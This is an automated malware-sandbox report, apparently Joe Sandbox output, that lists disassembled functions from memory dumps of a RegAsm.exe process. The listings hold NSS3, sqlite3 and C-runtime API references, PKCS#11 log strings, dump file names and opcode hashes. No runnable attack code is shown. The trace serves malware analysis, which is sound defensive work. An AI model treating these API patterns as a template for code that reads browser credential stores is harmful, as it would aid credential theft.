Part of subcall function 6C3709D0: OutputDebugStringA.KERNEL32(?), ref: 6C370C16

Strings

pLabel = 0x%p, xrefs: 6C292D4F
slotID = 0x%x, xrefs: 6C292D02
n7l, xrefs: 6C292D6C, 6C292D9A
pPin = 0x%p, xrefs: 6C292D1D
C_InitToken, xrefs: 6C292CE7
ulPinLen = %d, xrefs: 6C292D36

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$n7l
API String ID: 420000887-4149337921
Opcode ID: fa7e781dd58d4ec4f1115c64e0b25d30b6129465401240cebba8f8920070b2b6
Instruction ID: 515da3d137ca7704bc305f0eb1a9d5d3e29f56256e64bfa1859d9d0469b6cb5b
Opcode Fuzzy Hash: fa7e781dd58d4ec4f1115c64e0b25d30b6129465401240cebba8f8920070b2b6
Instruction Fuzzy Hash: 9021D6BA201149AFDB009B55DD8CE8D3BB9EB4231DF444014ED08A7632DB36A958CFB1

Function 6C332D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C332D9F

Part of subcall function 6C1ECA30: EnterCriticalSection.KERNEL32(?,?,?,6C24F9C9,?,6C24F4DA,6C24F9C9,?,?,6C21369A), ref: 6C1ECA7A
Part of subcall function 6C1ECA30: LeaveCriticalSection.KERNEL32(?), ref: 6C1ECB26

sqlite3_exec.NSS3(?,?,6C332F70,?,?), ref: 6C332DF9
sqlite3_free.NSS3(00000000), ref: 6C332E2C
sqlite3_free.NSS3(?), ref: 6C332E3A
sqlite3_free.NSS3(?), ref: 6C332E52
sqlite3_mprintf.NSS3(6C39AAF9,?), ref: 6C332E62
sqlite3_free.NSS3(?), ref: 6C332E70
sqlite3_free.NSS3(?), ref: 6C332E89
sqlite3_free.NSS3(?), ref: 6C332EBB
sqlite3_free.NSS3(?), ref: 6C332ECB
sqlite3_free.NSS3(00000000), ref: 6C332F3E
sqlite3_free.NSS3(?), ref: 6C332F4C

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 963bb2f5ef928059a227c46bf18227971ac862ed085e3a3f0eaab94311e3e2bc
Instruction ID: dc3acd7ec94d73467ed8e10bde59359019511da04c1b075f1dc0bf75cd2aa8b1
Opcode Fuzzy Hash: 963bb2f5ef928059a227c46bf18227971ac862ed085e3a3f0eaab94311e3e2bc
Instruction Fuzzy Hash: 9C61BEB5E006658BEB01CF68D985BDEB7B5AF48348F105024ED59AB742E732E844CFE1

Function 6C1E4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4D97
PR_Lock.NSS3(?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4DBA
PR_WaitCondVar.NSS3 ref: 6C1E4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4DEF

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 9b8f57c195a573432ff8d4d18d3bacc772798afb4f8962086183993d99c2de5a
Instruction ID: 6ab121100482313cbc0cc47202e615a927117b5e3932d962d7c910fe6aa77095
Opcode Fuzzy Hash: 9b8f57c195a573432ff8d4d18d3bacc772798afb4f8962086183993d99c2de5a
Instruction Fuzzy Hash: 39414BB5A04A558FCB10AFB8D484569BBF8BF19318F064669DC88DB710E734E894CB92

Function 00428AE4 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00428AFD

Part of subcall function 00424042: Sleep.KERNEL32(00000000,?), ref: 0042406A

__calloc_crt.LIBCMT ref: 00428B21
_free.LIBCMT ref: 00428B2F
__calloc_crt.LIBCMT ref: 00428B3D
_free.LIBCMT ref: 00428B4D
_free.LIBCMT ref: 00428B53
__copytlocinfo_nolock.LIBCMT ref: 00428B62
__setlocale_nolock.LIBCMT ref: 00428B6F
_free.LIBCMT ref: 00428B88
__setmbcp_nolock.LIBCMT ref: 00428B9A
_free.LIBCMT ref: 00428BA8
_free.LIBCMT ref: 00428BBC

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction ID: aa520ae6fa6203ac603baf8cd7262ee6573517827eed65e14824c977b114d8a8
Opcode Fuzzy Hash: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction Fuzzy Hash: E1213AB1705520AAD7227F1AF802D4F7FE4DF91758BA0842FF5845B251DE3DAC408A5C

Function 004015E6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004015BC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 004015C6
Part of subcall function 004015BC: HeapAlloc.KERNEL32(00000000), ref: 004015CD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00401606
GetLastError.KERNEL32 ref: 0040160C
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00401614
GetWindowContextHelpId.USER32(00000000), ref: 0040161B
GetWindowLongW.USER32(00000000,00000000), ref: 00401623
RegisterClassW.USER32(00000000), ref: 0040162A
IsWindowVisible.USER32(00000000), ref: 00401631
ConvertDefaultLocale.KERNEL32(00000000), ref: 00401638
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401644
IsDialogMessageW.USER32(00000000,00000000), ref: 0040164C
GetProcessHeap.KERNEL32(00000000,?), ref: 00401656
HeapFree.KERNEL32(00000000), ref: 0040165D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction ID: 597bc7deab9f95c5419af2560a3a18d661806b2e942c9da5f2f727d66e905f75
Opcode Fuzzy Hash: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction Fuzzy Hash: 17014672402824FBC7156BA1BD6DDDF3E7CEE4A3527141265F60A910608B794A01CBFE

Function 6C284E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C284E90
EnterCriticalSection.KERNEL32 ref: 6C284EA9
TlsGetValue.KERNEL32 ref: 6C284EC6
EnterCriticalSection.KERNEL32 ref: 6C284EDF
PL_HashTableLookup.NSS3 ref: 6C284EF8
PR_Unlock.NSS3 ref: 6C284F05
PR_Now.NSS3 ref: 6C284F13
PR_Unlock.NSS3 ref: 6C284F3A

Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507AD
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507CD
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C1E204A), ref: 6C2507D6
Part of subcall function 6C2507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C1E204A), ref: 6C2507E4
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,6C1E204A), ref: 6C250864
Part of subcall function 6C2507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C250880
Part of subcall function 6C2507A0: TlsSetValue.KERNEL32(00000000,?,?,6C1E204A), ref: 6C2508CB
Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(?,?,6C1E204A), ref: 6C2508D7
Part of subcall function 6C2507A0: TlsGetValue.KERNEL32(?,?,6C1E204A), ref: 6C2508FB

Strings

bU(l, xrefs: 6C284F3F
bU(l, xrefs: 6C284E5C

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bU(l$bU(l
API String ID: 326028414-3699253562
Opcode ID: ab867ba90b8cc4fa857da361f7307c9f67f2e3b9b1f9b63bd20761a54d314afe
Instruction ID: 1836116c987e100c07ecc2014936a6d647cbd1208961d1c4d88ea3f452254024
Opcode Fuzzy Hash: ab867ba90b8cc4fa857da361f7307c9f67f2e3b9b1f9b63bd20761a54d314afe
Instruction Fuzzy Hash: 2A413CB4A006099FCB00EF68D4848AAFBF4FF59318B058569EC999B711EB30E855CF91

Function 6C296C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C296C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C296C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C296CA3

Part of subcall function 6C37D930: PL_strncpyz.NSS3(?,?,?), ref: 6C37D963

PR_LogPrint.NSS3(?,00000000), ref: 6C296CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C296CD5

Strings

pMechanism = 0x%p, xrefs: 6C296CD0
(CK_INVALID_HANDLE), xrefs: 6C296C9C
n7l, xrefs: 6C296CF4, 6C296D1F
hSession = 0x%x, xrefs: 6C296C7E, 6C296C8E
C_DigestInit, xrefs: 6C296C61

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$n7l
API String ID: 1003633598-3945780161
Opcode ID: abe76c3840a7ae9e48c9c2a7534b2dad588130af6a07745a4c9457f494930d5e
Instruction ID: 97515b81f8ce8e690d0548530f30452cf8513c1f848b20d1f2bcb2f220965caf
Opcode Fuzzy Hash: abe76c3840a7ae9e48c9c2a7534b2dad588130af6a07745a4c9457f494930d5e
Instruction Fuzzy Hash: B72136756012089BCB509B169D8CF9E37F9EB4231DF454025FC09ABB11DB39AA08CFE6

Function 6C2AECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C2ADE64), ref: 6C2AED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2AED22

Part of subcall function 6C2BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C3918D0,?), ref: 6C2BB095

PL_FreeArenaPool.NSS3(?), ref: 6C2AED4A
PL_FinishArenaPool.NSS3(?), ref: 6C2AED6B
PR_CallOnce.NSS3(6C3C2AA4,6C2C12D0), ref: 6C2AED38

Part of subcall function 6C1E4C70: TlsGetValue.KERNEL32(?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4C97
Part of subcall function 6C1E4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4CB0
Part of subcall function 6C1E4C70: PR_Unlock.NSS3(?,?,?,?,?,6C1E3921,6C3C14E4,6C32CC70), ref: 6C1E4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C2AED52
PR_CallOnce.NSS3(6C3C2AA4,6C2C12D0), ref: 6C2AED83
PL_FreeArenaPool.NSS3(?), ref: 6C2AED95
PL_FinishArenaPool.NSS3(?), ref: 6C2AED9D

Part of subcall function 6C2C64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C2C127C,00000000,00000000,00000000), ref: 6C2C650E

Strings

security, xrefs: 6C2AED06

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: a6b4337c0489411ea9b43bb83133546f37d1a09d688ec01d6590f6c55e1fda80
Instruction ID: 071beff4d40697ebfc3c58c7babb87261efd1539204f7d7163ffe61818a8626b
Opcode Fuzzy Hash: a6b4337c0489411ea9b43bb83133546f37d1a09d688ec01d6590f6c55e1fda80
Instruction Fuzzy Hash: D1118B7DA0060D6BD76056A5AC85FBB723CAF0170DF000624FC0163E40FB29A51ECAD7

Function 6C370EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C252357), ref: 6C370EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C252357), ref: 6C370EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C370EE6

Part of subcall function 6C3709D0: PR_Now.NSS3 ref: 6C370A22
Part of subcall function 6C3709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C370A35
Part of subcall function 6C3709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C370A66
Part of subcall function 6C3709D0: PR_GetCurrentThread.NSS3 ref: 6C370A70
Part of subcall function 6C3709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C370A9D
Part of subcall function 6C3709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C370AC8
Part of subcall function 6C3709D0: PR_vsmprintf.NSS3(?,?), ref: 6C370AE8
Part of subcall function 6C3709D0: EnterCriticalSection.KERNEL32(?), ref: 6C370B19
Part of subcall function 6C3709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C370B48
Part of subcall function 6C3709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C370C76
Part of subcall function 6C3709D0: PR_LogFlush.NSS3 ref: 6C370C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C370EFA

Part of subcall function 6C25AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C25AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C370F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C370F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C370F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C370F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C370ED9, 6C370EE5, 6C370F06, 6C370F0B
Aborting, xrefs: 6C370EB3

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 877ae675b7f30ef4559315ff0dcb4dc13b57540c6414b698d3bf215ae42f474d
Instruction ID: 3812373ddad6dd8210911897bae564745b7b3ea51e116100c6fb98eb8311ab29
Opcode Fuzzy Hash: 877ae675b7f30ef4559315ff0dcb4dc13b57540c6414b698d3bf215ae42f474d
Instruction Fuzzy Hash: 09F0C8B9A001147BDF117BA0EC4AC9B3E3DDF46264F004024FE0956612DA76E9249BB7

Function 004265DE Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00426605
_free.LIBCMT ref: 00426613
_free.LIBCMT ref: 0042661E
_free.LIBCMT ref: 004265F2

Part of subcall function 0041D90B: HeapFree.KERNEL32(00000000,00000000,?,0041D159,00000000,0043B6EC,0041D1A0,0040EEBE,?,?,0041D28A,0043B6EC,?,?,0042EC08,0043B6EC), ref: 0041D921
Part of subcall function 0041D90B: GetLastError.KERNEL32(?,?,?,0041D28A,0043B6EC,?,?,0042EC08,0043B6EC,?,?,?), ref: 0041D933

___free_lc_time.LIBCMT ref: 0042663C
_free.LIBCMT ref: 00426647
_free.LIBCMT ref: 0042666C
_free.LIBCMT ref: 00426683
_free.LIBCMT ref: 00426692

Strings

xLC, xrefs: 0042662C

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID: xLC
API String ID: 3704779436-381350105
Opcode ID: dfa6374defc25ef8c23455bbb2a4444cfb33248c475573623dde345c17aba14c
Instruction ID: bd450adc2197fe71c8bbb8b062826dabf3bbab1d863dde8d333086e9035145e5
Opcode Fuzzy Hash: dfa6374defc25ef8c23455bbb2a4444cfb33248c475573623dde345c17aba14c
Instruction Fuzzy Hash: 0E1186F2A003159BDB216F7AF985B9777A9EB01308F56096FE14897211CB3C9C948A58

Function 6C2D4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C2D4DCB

Part of subcall function 6C2C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C2687ED,00000800,6C25EF74,00000000), ref: 6C2C1000
Part of subcall function 6C2C0FF0: PR_NewLock.NSS3(?,00000800,6C25EF74,00000000), ref: 6C2C1016
Part of subcall function 6C2C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C2687ED,00000008,?,00000800,6C25EF74,00000000), ref: 6C2C102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C2D4DE1

Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C10F3
Part of subcall function 6C2C10C0: EnterCriticalSection.KERNEL32(?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C110C
Part of subcall function 6C2C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1141
Part of subcall function 6C2C10C0: PR_Unlock.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1182
Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C2D4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C2D4E59

